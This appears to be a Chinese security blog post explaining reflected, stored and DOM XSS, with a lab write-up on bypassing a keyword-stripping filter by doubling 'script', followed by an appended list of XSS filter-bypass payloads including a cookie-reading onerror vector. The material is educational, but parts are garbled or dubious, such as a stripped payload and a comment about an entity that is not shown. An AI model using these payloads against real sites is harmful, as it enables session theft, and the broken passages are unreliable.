【漏洞发现-xss跨站脚本攻击】双写绕过

本文详细介绍了XSS跨站脚本攻击的三种类型,包括反射型、存储型和DOM型,并重点讨论了如何通过双写绕过服务器的关键词替换防御策略。实例展示了如何利用双写技巧构造恶意脚本,成功绕过后端处理,导致前端弹窗。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞描述

xss跨站脚本攻击是黑客通过“html注入”篡改了网页,插入了js恶意脚本,前端渲染时进行恶意代码执行,从而控制用户浏览的一种攻击。经常出现在需要用户输入的地方,一旦对输入不进行处理,就会发生网页被篡改。

分为三类

反射型:经过后端,不经过数据库

存储型:经过后端,经过数据库

DOM型:不经过后端,是基于文档对象型的一种漏洞,dom-xss是通过url参数去控制触发的

xss靶场第七关服务器采用了替换恶意关键字的方式防御,可以双写绕过。

二、漏洞发现

直接看源码,服务器接受keyword变量的值,将script、on、src、data、href字符子串替换为空,然后将处理后的值传入input标签返回给客户端

str_replace()函数:将字符串中的指定字符替换为其他字符

可以使用双写绕过,原有的恶意语句为

"><script>alert('z')</script>

出现弹窗。通过服务器处理后变为”><>alert('z')</>这样的语句是无效的,因为将script替换为空

所以通过双写

"><scscriptript>alert('z')</scscriptript>

当服务器处理时则变为

"><script>alert('z')</script>

因为将中间的script替换为空,剩下的结合后又是script可以成功绕过。

三、漏洞利用

先输入">发现被替换

输入">alert('z')成功弹窗

### XSS跨站脚本攻击绕过方法的技术实现 #### 1. 利用输入验证的不足 许多应用程序依赖于简单的正则表达式来过滤用户输入中的潜在危险字符,例如 `<`, `>`, 和 `script`。然而,如果这些正则表达式的定义不够严格,则可以通过编码技术或使用替代语法来绕过它们。例如,可以尝试使用 HTML 实体编码或其他形式的转义序列来隐藏恶意代码[^1]。 ```html <!-- 替代尖括号 --> <img src=x onerror="alert(1)"> <!-- a 解码为 'a' --> <!-- Unicode 编码 --> <scr\u0069pt>alert('XSS')</scr\u0069pt> ``` #### 2. DOM 型 XSS 的利用 DOM 型 XSS 是指 JavaScript 动态修改页面内容时引入的安全隐患。由于这种类型的漏洞发生在客户端而不是服务器端,因此传统的服务端过滤器可能无法检测到它。攻击者可以寻找那些未经过充分净化就直接插入文档对象模型 (Document Object Model) 中的数据点作为突破口[^2]。 ```javascript // 如果 URL 参数未经处理就被用于设置 innerHTML, 可能会被滥用. var param = location.search.substring(1); document.getElementById("content").innerHTML = param; // 攻击向量 ?param=<img%20src=1%20onerror=alert(document.cookie)> ``` #### 3. 绕过 WAF 或自定义过滤规则 一些 Web 应用防火墙(WAFs)或者内部开发的安全模块会基于黑名单模式工作,即阻止已知有害字符串。但是这种方法容易被规避,因为总有新的变种出现。下面是一些常见的技巧: - **拆分关键字**: 将完整的 script 标签分成多个部分,在运行前重新组合起来。 ```javascript var s = "scri"; var t = "pt"; document.createElement(s+t).text='alert(1)'; ``` - **事件处理器属性名变形**: 使用非标准的名字调用相同的动作 ```html <body onload=confirm(/XSS/)></body> // 或者更隐蔽的方式 <div style="width:expression(alert('XSS'));"> </div> ``` #### 4. 社交工程学与间接载荷传递 有时候即使存在强大的防御措施,也可以通过诱导受害者自己触发特定条件下的异常行为完成攻击目标。比如发送伪装成正常链接的消息给目标用户,让他们点击后加载含有特殊参数的URL地址;又或者是上传看似无害但实际上包含嵌套框架结构的图片文件等等[^3]^. ```plaintext http://example.com/profile?id=%3Ciframe%20src%3Djavascript%3Aalert(%27Hacked%27)%3E ``` 请注意上述所有例子仅供学习研究之用,请勿非法测试他人系统! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Oxo Security

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值